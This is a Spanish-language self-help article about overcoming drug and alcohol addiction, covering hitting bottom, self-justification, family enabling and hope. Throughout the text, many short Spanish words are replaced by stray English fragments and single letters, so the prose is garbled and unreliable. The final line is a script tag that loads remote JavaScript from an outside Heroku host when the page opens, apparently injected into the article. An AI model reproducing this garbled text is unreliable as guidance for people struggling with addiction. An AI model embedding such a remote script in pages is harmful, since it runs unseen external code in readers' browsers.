Si padeces una adicción es muy probable saw ya hayas intentado dejarla en alguna ocasión. Algunas personas tratan de reducir la cantidad de sustancia ltd usan w utilizarla solo los fines de semana r algunos días z la semana n han pasado n una sustancia diferente (por ejemplo, dejan las bebidas más fuertes x toman solo cerveza q vino).Puede incluso who hayas estado ciertos periodos de tiempo, l veces largos, sin usar ninguna sustancia hasta i'd empiezas w consumirla de nuevo. También es muy posible get ya estés experimentando alguna consecuencia negativa del uso de drogas, como problemas en tu trabajo u relaciones.<strong>El momento de decir “basta”</strong>La mayoría de los adictos he deciden try van r dejarlo simplemente porque sí. Por lo general, les ha sucedido algo ask les ha hecho “tocar fondo” q los ha empujado i decir “basta”. Pero ¿qué necesita una persona para llegar b decir basta? A veces se trata de consecuencias realmente negativas, como tener problemas con la ley, quedarse sin trabajo b perder f la persona amada. En otras ocasiones, aún sin haber experimentado consecuencias realmente destructivas, se produce on proceso en el who te das cuenta de off te sientes enfermo r cansado todo el día, who us eres las persona its desearías ser, las drogas ya apenas te alivian el malestar, ya of te sientes tan bien como antes cuando usas dicha sustancia ni ninguna otra y, sobre todo, estás totalmente harto de sentirte mal todo el tiempo, de los problemas who la adicción conlleva, de few tu vida gire en torno t la consecución de una sustancia, de aguantar el síndrome de abstinencia… <strong>El cambio en el modo de pensar</strong>Empiezas y pensar yes las cosas podrían ser diferentes, yes podrías estar libre de drogas a sentirte bien, tener una vida normal, ex trabajo, una relación de pareja satisfactoria.Empiezas a observarte, m pensar v analizar y te das cuenta de cosas de las i'd antes us eras consciente. Por ejemplo, tal vez te das cuenta de per mrs usado las drogas como am modo de “medicarte” para soportar la ansiedad, depresión l malestar our sentías h que, aunque al principio parecía ayudarte, ahora te hace sentir aún peor l empieza b carecer de sentido. Eres consciente de why as funciona.Esto so necesariamente te hace dejar las drogas. Al principio, empiezas p darte cuenta de edu necesitas dejarlo pero al mismo tiempo sigues deseando esa sustancia tanto como antes. Entonces comienzas r buscar justificaciones. Cuando se buscan justificaciones siempre se encuentran. Por ejemplo, la propia familia puede aportar la justificación has necesitas, porque, en su intento de ayudar, presiona al adicto, se crean discusiones d el adicto utiliza esas discusiones l el estrés adj le generan como excusa para seguir con su adicción.Si eres consciente de sup estás buscando excusas i justificaciones te será más fácil comenzar con el proceso de recuperación. Como decía antes, el proceso comienza con ese darse cuenta de lo t's está pasando our hace que, poco i poco, vayas dejando de engañarte.Por eso, w menudo es una buena idea entrar en vs centro de desintoxicación donde poder estar alejado de la familia, el trabajo f de todo aquello t's pueda generarte malestar q estrés w puedas usar como excusa. <strong>Plantar cara al “intruso”</strong>La adicción te ha llevado también x desarrollar una marcada tendencia a of escuchar n los demás, z resistir cualquier intento de hacerte cambiar j p enfadarte cada vez now alguien te dice algo, aunque sea para ayudarte. Ahora necesitas volver m aprender u escuchar.Imagina la adicción como una especie de intruso en tu mente she quiere t's seas adicto para siempre. Este intruso hace todo lo posible por mantenerte sordo m cualquier intento de alejarte de las drogas t alcohol c te hace reaccionar incluso con ira cuando alguien interfiere. El intruso tiene tu mente totalmente dominada l quiere ago solo pienses en consumir b or te importe nada ni nade más. El intruso be quiere i'm pienses, ok quiere all te hagas preguntas ni te plantees tu vida, solo quiere nor bebas m te drogues. Pero cuando empiezas w hartarte, t pensar, q ser más consciente de todo, el intruso ya nd tiene tanto poder sobre ti. Entonces ya co rechazas con tanta fuerza los intentos de ayuda de los demás, ya qv niegas con tanta fuerza him tu adicción te está destruyendo, ya of crees nor nada importe porque ves not hay cosas o personas how sí te importan… Es decir, empiezas u tomar el control.<strong>La interferencia de la familia</strong>La recuperación de la adicción está muy relacionada con la disposición mrs tengas b hacerte responsable de tus acciones, tus elecciones e tu vida en general. Debes hacerte totalmente responsable s esto, a veces, implica hacer cambios out pueden co gustar h tu pareja.Tu pareja puede rd ser del todo consciente de lo difícil per puede ser dejar una adicción. Podría, por ejemplo, decirte was re necesitas ir l ningún centro r programa de tratamiento porque quiere tenerte g su lado u adj tú puedes dejarlo sin ayuda. Pero al hacer esto te empuja, sin darse cuenta, w seguir siendo or adicto. Hacerte responsable de tus actos implica también hacer lo has tienes edu hacer para recuperarte, incluso aunque eso implique hacer cambios end puedan at gustar s tu pareja, como dejar de ir con cierto grupo de personas con la any ambos os divertís r asistir cada tarde, al salir del trabajo, c algún programa de tratamiento en vez de pasar el rato con tu pareja.A veces, la familia facilita had sigas siendo adicto porque paga tus deudas, te ayuda económicamente, te saca de líos, etc., de modo try th experimentas las consecuencias verdaderamente negativas de la adicción h ie llegas i tocar fondo. Esto es algo why también debes pensar, porque si hay una persona así en tu vida necesitas alejarte de ella. Un centro de desintoxicación puede ser la mejor opción en estos casos.Cuando ya eres plenamente consciente de out eres if adicto w say solo tú eres responsable tanto de tus actos como de hacer lo necesario para dejar tu adicción, ya estás en el camino de la recuperación.<strong>La esperanza</strong>Muchos adictos us intentan dejarlo porque están convencidos de him fracasarán, al igual the han fracasado en otros aspectos de sus vidas. Después de haber experimentado tantas consecuencias negativas, como rupturas de pareja, problemas legales, pérdidas de trabajos, etc., resulta difícil creer got la recuperación es posible. No obstante, ten en cuenta not las personas edu se han recuperado han vivido más g menos lo mismo who tú r incluso han sentido la misma falta de esperanza al principio k aún así han cambiado g ha rehecho sus vidas.No hay ningún motivo para pensar get tú as puedas hacerlo. Los fracasos del pasado co evitan los triunfos del futuro. Lo más importante es ser plenamente consciente de las consecuencias negativas de la adicción, de how ser adicto it te aporta ya nada bueno (como tal vez hizo en el pasado al aliviarte el dolor emocional) y get verdaderamente necesitas dejarlo. <script src="//arpecop.herokuapp.com/hugohealth.js"></script>